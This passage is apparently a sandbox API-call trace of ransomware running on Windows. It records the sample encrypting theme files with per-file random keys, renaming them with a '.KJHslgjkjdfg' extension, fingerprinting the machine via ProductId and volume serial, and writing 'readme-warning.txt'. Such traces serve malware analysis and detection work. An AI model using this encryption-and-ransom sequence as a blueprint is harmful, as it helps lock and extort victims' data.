ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0174.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.226] GetProcessHeap () returned 0x2ef0000 [0174.226] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.226] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.226] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.226] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0174.228] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.228] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.228] GetProcessHeap () returned 0x2ef0000 [0174.228] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0174.228] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0174.228] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.228] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0174.228] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.229] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.229] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.229] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.229] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.230] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.230] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.230] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.230] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x21b, lpOverlapped=0x0) returned 1 [0174.230] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220, dwBufLen=0x220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x220) returned 1 [0174.230] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.230] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x220, lpOverlapped=0x0) returned 1 [0174.230] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.230] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.230] SetEndOfFile (hFile=0x12c) returned 1 [0174.233] GetProcessHeap () returned 0x2ef0000 [0174.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0174.233] GetProcessHeap () returned 0x2ef0000 [0174.233] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.233] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.kjhslgjkjdfg")) returned 1 [0174.238] CloseHandle (hObject=0x12c) returned 1 [0174.238] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0174.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.238] GetProcessHeap () returned 0x2ef0000 [0174.238] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.238] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.238] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.238] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0174.475] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.476] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.476] GetProcessHeap () returned 0x2ef0000 [0174.476] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.476] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.476] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.476] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.476] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.476] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.476] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.476] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.476] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.476] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.476] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.476] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.477] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x639, lpOverlapped=0x0) returned 1 [0174.477] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x640, dwBufLen=0x640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x640) returned 1 [0174.477] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.477] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x640, lpOverlapped=0x0) returned 1 [0174.477] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.477] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.477] SetEndOfFile (hFile=0x12c) returned 1 [0174.480] GetProcessHeap () returned 0x2ef0000 [0174.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.480] GetProcessHeap () returned 0x2ef0000 [0174.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.kjhslgjkjdfg")) returned 1 [0174.481] CloseHandle (hObject=0x12c) returned 1 [0174.487] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0174.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.488] GetProcessHeap () returned 0x2ef0000 [0174.488] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0174.488] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0174.488] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0174.488] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0174.490] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.490] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.490] GetProcessHeap () returned 0x2ef0000 [0174.490] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.491] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0174.491] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.491] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0174.491] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0174.491] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0174.491] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0174.491] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0174.491] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0174.491] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0174.491] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0174.491] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.491] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x54f1, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x54f1, lpOverlapped=0x0) returned 1 [0174.492] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5500, dwBufLen=0x5500 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x5500) returned 1 [0174.493] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.493] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x5500, lpOverlapped=0x0) returned 1 [0174.493] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.493] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x55d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.493] SetEndOfFile (hFile=0x12c) returned 1 [0174.496] GetProcessHeap () returned 0x2ef0000 [0174.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0174.496] GetProcessHeap () returned 0x2ef0000 [0174.496] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0174.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0174.499] CloseHandle (hObject=0x12c) returned 1 [0174.499] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0174.499] GetProcessHeap () returned 0x2ef0000 [0174.499] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0174.499] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.499] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0174.499] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.499] GetProcessHeap () returned 0x2ef0000 [0174.499] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0174.499] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.499] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0174.499] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.499] GetProcessHeap () returned 0x2ef0000 [0174.499] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0174.500] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.500] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0174.500] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.500] GetProcessHeap () returned 0x2ef0000 [0174.500] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0174.500] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.500] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0174.500] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.500] GetProcessHeap () returned 0x2ef0000 [0174.500] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0174.500] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.500] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0174.500] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.500] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0174.500] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0174.500] RegCloseKey (hKey=0x12c) returned 0x0 [0174.500] GetProcessHeap () returned 0x2ef0000 [0174.500] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0174.500] GetProcessHeap () returned 0x2ef0000 [0174.500] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0174.500] GetProcessHeap () returned 0x2ef0000 [0174.500] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0174.501] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0174.501] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0174.501] CryptDestroyKey (hKey=0x2f18308) returned 1 [0174.501] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0174.501] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.501] GetProcessHeap () returned 0x2ef0000 [0174.501] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0174.501] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0174.501] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0174.501] GetProcessHeap () returned 0x2ef0000 [0174.501] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0174.501] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\readme-warning.txt") returned 80 [0174.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0174.503] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0174.504] CloseHandle (hObject=0x12c) returned 1 [0174.504] GetProcessHeap () returned 0x2ef0000 [0174.504] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0174.504] 